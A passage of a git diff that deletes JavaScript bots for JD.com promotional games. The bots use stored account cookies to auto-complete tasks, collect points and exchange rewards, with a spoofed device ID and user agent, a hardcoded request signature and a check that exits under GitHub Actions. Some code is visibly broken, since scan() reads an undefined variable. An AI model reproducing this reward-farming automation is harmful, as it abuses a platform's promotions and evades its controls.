`functionId=funny_collectScore&body=%7B%22taskId%22%3A${taskid}%2C%22taskToken%22%3A%22${token}%22%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2243136926%5C%22%7D%22%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` - const MyRequest = PostRequest(`advId=funny_collectScore`,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.result.successToast+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function unlock(){ - const body = `functionId=funny_raise&body=%7B%22id%22%3A${userUnlockedPlaceNum}%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2276834380%5C%22%7D%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` -//$.log(secretp) - const MyRequest = PostRequest(`advId=funny_raise`,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log("\n获得"+result.data.result.levelUpAward.pieceRedpacket.value+result.data.result.levelUpAward.pieceRedpacket.name+"\n") - await $.wait(4000) - }else{ - $.log("解锁失败,好玩币不足"+result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getsecretp(){ - const body = `functionId=funny_getHomeData&body=%7B%22isNeedPop%22%3A%221%22%2C%22currentEarth%22%3A3%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` - const MyRequest = PostRequest(`advId=funny_getHomeData`,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - secretp = result.data.result.homeMainInfo.secretp - userUnlockedPlaceNum = result.data.result.homeMainInfo.raiseInfo.userEarthInfo.userUnlockedPlaceNum - //$.log(userUnlockedPlaceNum) - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Ariszy(){ - for(let j = 0; j < listtokenArr.length; j++){ - token = list2tokenArr[j] - taskid = listtokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - if(taskid == 2 ||taskid == 4 || taskid == 8 || taskid ==14){ - await doTask() - await DoTask() - }else{ - await doTask() -} - } - -} -async function scans(){ - for(let j = 0; j < list0tokenArr.length; j++){ - token = list1tokenArr[j]; - taskid = list0tokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - await doTask() - await DoTask() -} -} -async function zy(){ - listtokenArr.splice(0,listtokenArr.length); - list2tokenArr.splice(0,list2tokenArr.length); - //list0tokenArr.splice(0,list0tokenArr.length); - //list1tokenArr.splice(0,list1tokenArr.length); -} -async function Zy(){ - for(let i = 0; i < 7; i ++){ - await scan() - await scans() - list0tokenArr.splice(0,list0tokenArr.length); - list1tokenArr.splice(0,list1tokenArr.length); - } -} -async function control(){ - for(let i = 0; i < list1tokenArr.distinct().length; i++){ - helpcode = list1tokenArr[i] - await dosupport() - await $.wait(4000) -} -} -async function dosupport(){ - const body = `functionId=funny_collectScore&body=%7B%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2269009870%5C%22%7D%22%2C%22inviteId%22%3A%22${helpcode}%22%2C%22isCommonDealError%22%3Atrue%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` - const MyRequest = PostRequest(`advId=funny_collectScore`,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+"好玩豆\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getlist(){ - const MyRequest = PostRequest(`?advId=funny_getTaskDetail`,`functionId=funny_getTaskDetail&body=%7B%22taskId%22%3A%22%22%2C%22appSign%22%3A%221%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("查看任务列表\n") - - - - let list2 = result.data.result.taskVos.find(item => item.taskId == 2) - let maxTimes2 = list2.maxTimes - for(let i = 0; i < maxTimes2; i ++){ - listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) - - } - - let list3 = result.data.result.taskVos.find(item => item.taskId == 3) - let maxTimes3 = list3.maxTimes - for(let i = 0; i < maxTimes3; i ++){ - listtokenArr.push(3+list3.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list3.shoppingActivityVos[i].taskToken) - } - - let list4 = result.data.result.taskVos.find(item => item.taskId == 4) - let maxTimes4 = list4.maxTimes - for(let i = 0; i < maxTimes4; i ++){ - listtokenArr.push(4+list4.browseShopVo[i].taskToken) -list2tokenArr.push(list4.browseShopVo[i].taskToken) -//$.log(list4.productInfoVos[i].taskToken) - } - - let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - let maxTimes6 = list6.maxTimes - for(let i = 0; i < maxTimes6; i ++){listtokenArr.push(6+list6.brandMemberVos[i].taskToken) -list2tokenArr.push(list6.brandMemberVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - - let list7 = result.data.result.taskVos.find(item => item.taskId == 7) - let maxTimes7 = list7.maxTimes - for(let i = 0; i < maxTimes7; i ++){listtokenArr.push(7+list7.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list7.shoppingActivityVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - let list8 = result.data.result.taskVos.find(item => item.taskId == 8) - let maxTimes8 = list8.maxTimes - for(let i = 0; i < maxTimes8; i ++){listtokenArr.push(8+list8.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list8.shoppingActivityVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - //$.log(JSON.stringify(listtokenArr)) - let list13 = result.data.result.taskVos.find(item => item.taskId == 13) - let maxTimes13 = list13.maxTimes - for(let i = 0; i < maxTimes13; i ++){listtokenArr.push(13+list13.followShopVo[i].taskToken) -list2tokenArr.push(list13.followShopVo[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - let list14 = result.data.result.taskVos.find(item => item.taskId == 14) - let maxTimes14 = list14.maxTimes - for(let i = 0; i < maxTimes14; i ++){listtokenArr.push(14+list14.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list14.shoppingActivityVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - let list15 = result.data.result.taskVos.find(item => item.taskId == 15) - let maxTimes15 = list15.maxTimes - for(let i = 0; i < maxTimes15; i ++){listtokenArr.push(15+list15.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list15.shoppingActivityVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - let list16 = result.data.result.taskVos.find(item => item.taskId == 16) - let maxTimes16 = list16.maxTimes - for(let i = 0; i < maxTimes16; i ++){listtokenArr.push(16+list16.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list16.shoppingActivityVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function scan(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body=%7B%22appId%22:%221ElBTx6o%22,%22taskToken%22:%22%22,%22channelId%22:1%7D&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - for(let i = 0; i < list4.productInfoVos.length; i ++){ -list0tokenArr.push(6+list6.productInfoVos[i].taskToken) -list1tokenArr.push(list4.productInfoVos[i].taskToken) -} - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getfeedtoken(){ -for(let i = 9; i < 13;i++){ - await getfeedlist(i) -} -} -async function getfeedlist(Taskid){ - const Body = `functionId=funny_getFeedDetail&body=%7B%22taskId%22%3A%22${Taskid}%22%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` - const MyRequest = PostRequest(`?advId=funny_getFeedDetail`,Body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ -let lists = result.data.result.addProductVos.find(item => item.taskId == Taskid) - let maxTimes = lists.maxTimes - for(let i = 0; i < maxTimes; i++){ -listtokenArr.push(Taskid+lists.productInfoVos[i].taskToken) -list2tokenArr.push(lists.productInfoVos[i].taskToken) -//$.log(JSON.stringify((list2tokenArr))) - } - //await zy() - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function gethelpcode(){ - const MyRequest = PostRequest(`?advId=funny_getTaskDetail`,`functionId=funny_getTaskDetail&body=%7B%22taskId%22%3A%22%22%2C%22appSign%22%3A%221%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list5 = result.data.result.taskVos.find(item => item.taskId == 5) - list0tokenArr.push(5+list5.assistTaskDetailVo.taskToken) -list1tokenArr.push(list5.assistTaskDetailVo.taskToken) -//$.log(list5.assistTaskDetailVo.taskToken) - - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function userScore(){ - const body = `functionId=funny_getHomeData&body=%7B%22isNeedPop%22%3A%221%22%2C%22currentEarth%22%3A3%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` - const MyRequest = PostRequest(`advId=funny_getHomeData`,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - let userScore = result.data.result.homeMainInfo.raiseInfo.remainScore - let turn = Math.floor(userScore / (result.data.result.homeMainInfo.raiseInfo.nextLevelScore - result.data.result.homeMainInfo.raiseInfo.curLevelStartScore)) - if(turn > 0){ - $.log("共有好玩币:"+userScore+";开始解锁🔓"+turn+"次\n") - for(let i = 0; i < turn; i++){ - await unlock() - } -}else - $.log("好玩币不够,不解锁\n") - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -//showmsg -//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 - -async function showmsg() { - if (tz == 1) { - if ($.isNode()) { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - await notify.sendNotify($.name, message) - } else { - $.log(message) - } - } else { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - $.msg(zhiyi, '', message) - } else { - $.log(message) - } - } - } else { - $.log(message) - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} -Array.prototype.distinct = function (){ - var arr = this, - result = [], - len = arr.length; - arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 - var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 - if(bool === -1){ - result.push(v); - } - }) - return result; -}; -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_ddworld_exchange.js b/backUp/jd_ddworld_exchange.js deleted file mode 100644 index 73cb611..0000000 --- a/backUp/jd_ddworld_exchange.js +++ /dev/null @@ -1,223 +0,0 @@ - -/** -东东世界兑换 -cron 0 0 * * * jd_ddworld_exchange.js -TG频道:https://t.me/sheeplost -*/ -const $ = new Env("东东世界兑换"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '' -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.1.6;13.5;${UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.hotFlag = false; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - } - } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -async function main() { - $.token = ''; - $.accessToken = ''; - await getToken(); - if ($.token) { - await taskPost('jd-user-info', `token=${$.token}&source=01`); - if ($.accessToken) { - await task('get_exchange'); - if (!$.hotFlag) { - if ($.exchangeList) { - for (const vo of $.exchangeList.reverse()) { - if (!vo.name.match(/红包\d*/)) { - $.log(`去兑换:${vo.name}`) - await taskPost('do_exchange', `id=${vo.id}`); - await $.wait(3000) - } - } - } else { - $.log("没有获取到兑换列表!") - } - } else { - $.log("风险用户,快去买买买吧!!!") - } - } else { - $.log('获取accessToken失败') - } - } else { - $.log('获取Token失败') - } -} - -async function task(function_id, body) { - return new Promise(async resolve => { - $.get(taskUrl(function_id, body), async (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - switch (function_id) { - case 'get_exchange': - $.exchangeList = data; - if (data.status_code === 403) { - $.hotFlag = true; - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPost(function_id, body) { - return new Promise(async resolve => { - $.post(taskPostUrl(function_id, body), async (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data) { - switch (function_id) { - case 'jd-user-info': - $.accessToken = data.access_token; - $.tokenType = data.token_type; - break; - case 'do_exchange': - if (data.prize) { - console.log(`兑换成功:数量${data.prize.setting.beans_count}`) - } else { - console.log(JSON.stringify(data)) - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(function_id, body) { - return { - url: `https://ddsj-dz.isvjcloud.com/dd-api/${function_id}`, - body: body, - headers: { - "Host": "ddsj-dz.isvjcloud.com", - "Accept": "application/json, text/plain, */*", - "Authorization": `Bearer undefined` ? `${$.tokenType} ${$.accessToken}` : '', - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://ddsj-dz.isvjcloud.com", - "User-Agent": UA, - "Connection": "keep-alive", - "Referer": "https://ddsj-dz.isvjcloud.com/dd-world/logined_jd/", - } - } -} - -function taskUrl(function_id) { - return { - url: `https://ddsj-dz.isvjcloud.com/dd-api/${function_id}`, - headers: { - "Host": "ddsj-dz.isvjcloud.com", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "Referer": "https://ddsj-dz.isvjcloud.com/dd-world", - "Accept-Language": "zh-cn", - "User-Agent": UA, - "Authorization": `${$.tokenType} ${$.accessToken}`, - } - } -} - -function getToken() { - let opt = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'body=%7B%22url%22%3A%20%22https%3A//ddsj-dz.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=a33e70272a9d40cb8882636a62b7d74b&client=apple&clientVersion=10.1.2&st=1633835551000&sv=102&sign=82cfbcbc4c7c0b55b18c5c01f62aeccc', - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Accept": "*/*", - "Connection": "keep-alive", - "User-Agent": "JD4iPhone/167541 (iPhone; iOS 13.5; Scale/3.00)", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - } - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - data = JSON.parse(data); - if (data) { - $.token = data.token; - } else { - $.log('京东返回了空数据') - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// prettier-ignore -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), 